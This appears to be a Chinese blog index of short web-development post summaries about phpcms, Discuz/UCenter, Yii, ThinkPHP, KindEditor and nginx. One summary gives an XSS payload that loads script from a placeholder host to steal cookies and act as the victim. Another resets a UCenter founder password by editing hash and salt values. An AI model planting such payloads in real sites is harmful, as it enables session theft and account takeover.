摘要:
tar --newer-mtime "2013-09-17 00:00:00" -zcvf /var/www/good.tar.gz spider/ 阅读全文
摘要:
网上找的 方法 如下 适合 4.X以后的版本两种方法:1)用KindEditor.instances数组获取。KindEditor.instances[0].html();KindEditor.instances[1].html();2)K.create返回的editor对象起不同的名,window.editor1 = K.create(..); window.editor2 = K.create(..)。然后editor1.html(); editor2.html(); 阅读全文
摘要:
今天在做项目时发现这样的一个问题,用uc集成的phpcms_v9 和discuz x2.5修改了密码没有同步。 研究了一下phpcms_v9 sso的源码 发现是他官网存在的一个BUG,大致是这样的 phpcmsv_9同步登陆的时候 以phpsso为同步通信的中介, 然后 通知它下面的各个应用,理论上面这样是没有错的, 但是他业务的代码有一部分逻辑问题,就是 它登陆的时候 如果开启了uc的同步功能,uc那边把登陆以后的结果多是安装 它文档上面的标准说明返回的,phpsso这边的业务代码他只处理了一部分uc的返回状态 。 即 比如list($uid, $username, $password,. 阅读全文
摘要:
进入 yii frameowrk所在的项目以我本地的为列 进入 D:\xiaoshuo\yii\framework输入命令 yiic webapp new_novel其中 new_novel为项目的名称 随便你自己起D:\xiaoshuo\yii\framework>yiic webapp new_novelCreate a Web application under 'D:\xiaoshuo\yii\framework\new_novel'? (yes|no) [no]:yes(这里我们输入yes然后会自动创建一些文件和文件夹)输入完以后 系统会自动输出一下一系列的命令 阅读全文
摘要:
<body onload="document.write('<script src=http://xxx.com/js/main.js></script>')"> 加载一段远程的JS 里面的代码自由发挥可以盗取cookie 模拟用户发帖 发文章 删除文章 基本上 只要你想到的 多可以做到 阅读全文
摘要:
1 关闭数据库的 debug 打开项目下面的 caches/configs/database.php 找到 第12行 把 debug的值改为 false2 关闭 页面的错误信息 找到 caches/configs/system.php 第34行 把debug的值改为0 第36行 把errorlog的值改为0 同时最好把 第20行的 tpl_edit 的值改为0 找到 phpcms/base.php 第33行 这一句 pc_base::load_config('system','errorlog') ? set_error_handler('my_erro 阅读全文
摘要:
nginx下禁止目录执行php的方法则简单许多,允许设定多个目录不知道是否我对apache那个不了解,如果有更好的办法,希望大家指出共享学习。thxlocation ~* ^/(attachments|images)/.*\.(php|php5|PHP|PHP5)${deny all;}当web目录不是根目录,或者有多个目录的时候可以是location ~* ^(/discuz/|/bbs/)/(attachments|images)/.*\.(php|php5|PHP|PHP5)${deny all;} 阅读全文
摘要:
http://open.weibo.com/sharebutton 阅读全文
摘要:
TP的模型可以支持原生SQL操作,提供了query和execute两个方法,为什么原生SQL还要区分两个方法呢,原因有两个:1、返回类型不同query用于查询,返回的是数据集,和select或者findall一样,所以可以直接在模板里面使用volist标签输出query的查询结果execute用于写操作,返回的是状态或者影响的记录数2、读写统计需要为了便于统计当前的数据读写次数,把数据库的读和写操作分开(对应的就是query和execute)使用原生SQL很简单,我们甚至不需要实例化任何的模型,例如:$Model = new Model(); // 实例化一个空模型下面的方法是等效的$Mode 阅读全文
摘要:
找到ucenter下的data/config.inc.php找到UC_FOUNDERPW,UC_FOUNDERSALT分别改成一下的字符串define('UC_FOUNDERPW', '047099adb883dc19616dae0ef2adc5b6');define('UC_FOUNDERSALT', '311254');修改完后,创始人密码变为:123456789然后登录系统修改密码就可以了,非常简单。 阅读全文